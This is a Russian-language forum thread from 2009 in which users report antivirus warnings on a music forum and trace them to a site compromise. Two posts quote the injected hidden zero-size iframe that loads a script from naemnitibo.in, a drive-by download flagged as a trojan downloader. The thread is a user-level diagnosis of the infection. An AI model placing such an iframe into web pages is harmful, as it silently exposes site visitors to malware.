Ахтунг, на форуме вирус

[FeelGood]

Вот что мне уже второй раз лезет с форума :scratch_one-s_head:



Использую Касперский 9.

 

[Alex Vortex]

В каком месте?) У меня KIS6, регулярно обновляется - ноль эмоций.

 

[SoNick]

Мде... прям детектив...
И тут тоже самое http://forum.rmmedia.ru/showthread.php?t=52180

 

[Alex Vortex]

З.Ы. в браузере плагины переберите. Возможно кто-то из них

 

[romchik19]

Это админы должны позаботится
На форуме вирус....

 

[bloodykot]

Ёёё... вот только что Safari ругнулся, что сайт подозрительный, хотя пару минут назад спокойно заходил. Причем, сослался что сайт занесен в черный список на Гугле. Происки конкурентов?

 

[Rusik]

У меня тоже! Два раза сегодня :shok:

 

[Alex Vortex]

romchik19, дайте на него прямую ссылку! Почему, хотя у многих здесь антивирусы, лицензионные, регулярно обновляющиеся, а вирус находит у единиц?)

 

[Rusik]

12.06.2009 13:43:36 http://naemnitibo.in/cn.php?hyc Internet Explorer Обнаружено: HEUR:Trojan-Downloader.Script.Generic


Отакое пишет... Каспер антивирь 8

 

[DJM]

HEUR:Trojan-Downloader.Script.Generic кис 8 не обновлялся около трех недель

 

[FeelGood]

В каком месте?) У меня KIS6, регулярно обновляется - ноль эмоций.

Ну вы-бы еще четвертым бы пользовались)) :tease: Я в свое время отказался от шестого именно по тому что он устарел сильно) Базы тут не причем.

 

[SoNick]

HEUR - это еще не 100% вирус, а подозрение на него по результатам эвристического анализа. Может конечно это новый вирус, но у Каспера еще нет сигнатур на его лечение, а может просто ложное срабатывание, что при эвристике бывает.

 

[Rusik]

Так а откуда ж оно взялось-то, подозрение это? ) И что за адрес?

 

[FeelGood]

а может просто ложное срабатывание, что при эвристике бывает.

Дак сайт ссылается на какую-то ссылку при этом которую собственно каспер и блокирует)

 

[fakeitback]

Сунулся экперимента ради экплорером - ага, точно есть такое, аваст матерится.

Опере по болту )))

 

[DJM]

Дак сайт ссылается на какую-то ссылку при этом которую собственно каспер и блокирует)

конкретно ht_tp://naemnitibo.in/cn.php?hyc

ну на срине она вообщето есть, но я проглядел)

 

[Alex Vortex]

FeelGood, модуль Internet Security у него обновлен и не слабее новых, кстати.
Скорее всего это действительно эвристический анализ пищит)) Тем более, что по ссылке, на которую матерятся - ничего нет

 

[ultrashock]

ну дык, теперь единственный вопрос к админам что делают нулевые ифреймы в низу после счетчиков гугл на страницах форума с сайтом naemnitibo.in

счетчики гугла. далее  <..>
<iframe src="http://naemnitibo.in/cn.php?hyc" width="0" height="0"></iframe>

кстати, поиск в гугле тоже покажет не мало аналогичных форумов

 

[SoNick]

Одно время сайты поражали подобные вирусы. Они заливались по фтп и встраивались в страницы. Наверно новая эпидемия.
В опере и файрфокс все нормально.
В IE проблема актуальна, комп отправляется в ребут и на десктопе появляется следующее:

 

[arkaine]

Я уж испугался, что на ПК вирус.)

 

[konion]

мда .. какие-то уроды похоже взломали форум

 

[Alex Vortex]

ultrashock, причем только на булке)) Нелегальной причем:girl_blum:

 

[Alex Vortex]

SoNick, гг)) скорее всего не фтп, а очередной баг в старых версиях булки

 

[romchik19]

Само сабой...
Наверно из промо дж:new_russian:

 

[fakeitback]

В IE проблема актуальна? комп отправляет в ребут и на десктопе появляется следующее:

Ну ты и скриншотище запостил, аж в глазах потемнело))

Судя по тому, что вирус лезет из айфрейма

<iframe src="http://naemnitibo.in/cn.php?hyc" width="0" height="0"></iframe>

проблема актуальна только для пользователей IE

 

[ultrashock]

ultrashock, причем только на булке)) Нелегальной причем

при чем тут нелегальной? рмм-овский движок - официально купленый

 

[SoNick]

Форумы здесь вобще не причем. Вирус имеет свойство встраиваться в любой html/php код, не важно форум это или любой другой сайт.

 

[Serdceedov]

У меня разом заматерились и мозилла, и аваст! Ищите, просто так этого не бывает

 

[SoNick]

Serdceedov, для мозилы 3.0.1 проблема не актуальна.

 

[Amplifier]

Так есть вирус или нет,или только подозрение? Я просканировал DrWeb 5 на XP и NOD32 4 на семёрке - ничего...Оба антивиря ежедневно обновляются!